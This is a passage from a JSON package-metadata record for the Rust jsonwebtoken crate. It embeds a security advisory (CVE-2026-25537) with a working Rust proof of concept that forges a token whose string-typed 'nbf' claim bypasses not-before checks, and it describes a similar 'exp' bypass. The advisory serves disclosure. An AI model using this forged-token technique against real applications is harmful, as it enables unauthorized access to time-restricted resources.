// Attacker sends nbf as a String\n    exp: usize,\n}\nfn main() {\n    let key: \u0026[u8; 24] = b\"RedMouseOverTheSkyIsBlue\";\n\n    // nbf is a String \"99999999999\" (Far future)\n    // Real nbf should be a Number.\n    let my_claims: Claims = Claims {\n        sub: \"krishna\".to_string(),\n        nbf: \"99999999999\".to_string(), \n        exp: 10000000000, \n    };\n\n    let token: String = encode(\u0026Header::default(), \u0026my_claims, \u0026EncodingKey::from_secret(key)).unwrap();\n    println!(\"Forged Token: {}\", token);\n\n    // 2. Configure Validation\n    let mut validation: Validation = Validation::new(Algorithm::HS256);\n    validation.validate_nbf = true; // Enable NBF check\n\n    // We do NOT add \"nbf\" to required_spec_claims (default behavior)\n\n    // We decode to serde_json::Value to avoid strict type errors in our struct definition hiding the library bug.\n    // The library sees the raw JSON with string \"nbf\".\n    let result: Result\u003cjsonwebtoken::TokenData\u003cserde_json::Value\u003e, jsonwebtoken::errors::Error\u003e = decode::\u003cserde_json::Value\u003e(\n        \u0026token, \n        \u0026DecodingKey::from_secret(key), \n        \u0026validation\n    );\n\n    match result {\n        Ok(_) =\u003e println!(\"Token was accepted despite malformed far-future 'nbf'!\"),\n        Err(e) =\u003e println!(\"Token rejected. Error: {:?}\", e),\n    }\n}\n```\nrun cargo run\n\nexpected behaviour:\n\n```\nForged Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJrcmlzaG5hIiwibmJmIjoiOTk5OTk5OTk5OTkiLCJleHAiOjEwMDAwMDAwMDAwfQ.Fm3kZIqMwqIA6sEA1w52UOMqqnu4hlO3FQStFmbaOwk\n```\nToken was accepted despite malformed far-future 'nbf'!\nImpact:\n\nIf an application uses jsonwebtoken nbf (Not Before) to schedule access for the future (like “Access granted starting tomorrow”).\n\nBy sending nbf as a string, an attacker can bypass this restriction and access the resource immediately.\n\nand for the exp claim (this is unlikely but still adding), If a developer sets validate_exp = true but manually handles claim presence (removing exp from required_spec_claims), an attacker can send a string exp (e.g., “never”) and bypass expiration checks entirely. The token becomes valid forever.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-02-03T18:47:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.5,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/Keats/jsonwebtoken/security/advisories/GHSA-h395-gr6q-cpjc","https://github.com/Keats/jsonwebtoken/commit/abbc3076742c4161347bc6b8bf4aa5eb86e1dc01","https://nvd.nist.gov/vuln/detail/CVE-2026-25537","https://github.com/advisories/GHSA-h395-gr6q-cpjc"],"source_kind":"github","identifiers":["GHSA-h395-gr6q-cpjc","CVE-2026-25537"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-03T19:00:07.713Z","updated_at":"2026-09-25T12:06:10.482Z","epss_percentage":0.00569,"epss_percentile":0.44684,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oMzk1LWdyNnEtY3BqY84ABR4w","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oMzk1LWdyNnEtY3BqY84ABR4w","packages":[{"ecosystem":"cargo","package_name":"jsonwebtoken","versions":[{"first_patched_version":"10.3.0","vulnerable_version_range":"\u003c 10.3.0"}],"purl":"pkg:cargo/jsonwebtoken"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oMzk1LWdyNnEtY3BqY84ABR4w/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/cargo/jsonwebtoken","docker_dependents_count":79,"docker_downloads_count":23360799,"usage_url":"https://repos.ecosyste.ms/usage/cargo/jsonwebtoken","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/cargo/jsonwebtoken/dependencies","status":null,"funding_links":[],"critical":true,"issue_metadata":{"last_synced_at":"2026-09-26T09:06:59.966Z","issues_count":165,"pull_requests_count":165,"avg_time_to_close_issue":13039381.486956522,"avg_time_to_close_pull_request":5969338.457627119,"issues_closed_count":115,"pull_requests_closed_count":118,"pull_request_authors_count":100,"issue_authors_count":158,"avg_comments_per_issue":3.6,"avg_comments_per_pull_request":3.16969696969697,"merged_pull_requests_count":69,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":30,"past_year_pull_requests_count":52,"past_year_avg_time_to_close_issue":2932155.8947368423,"past_year_avg_time_to_close_pull_request":3322905.0625,"past_year_issues_closed_count":19,"past_year_pull_requests_closed_count":32,"past_year_pull_request_authors_count":33,"past_year_issue_authors_count":28,"past_year_avg_comments_per_issue":2.6333333333333333,"past_year_avg_comments_per_pull_request":2.673076923076923,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":21,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/Keats%2Fjsonwebtoken/issues","maintainers":[{"login":"arckoor","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/arckoor"},{"login":"Keats","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Keats"}],"active_maintainers":[{"login":"arckoor","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/arckoor"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/packages/jsonwebtoken/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/packages/jsonwebtoken/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/packages/jsonwebtoken/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/packages/jsonwebtoken/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/packages/jsonwebtoken/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/packages/jsonwebtoken/codemeta","maintainers":[{"uuid":"2876","login":"Keats","name":"Vincent Prouillet","email":null,"url":"https://github.com/Keats","packages_count":28,"html_url":"https://crates.io/users/Keats","role":null,"created_at":"2022-11-07T20:57:07.087Z","updated_at":"2022-11-07T20:57:07.087Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/crates.io/maintainers/Keats/packages"}]}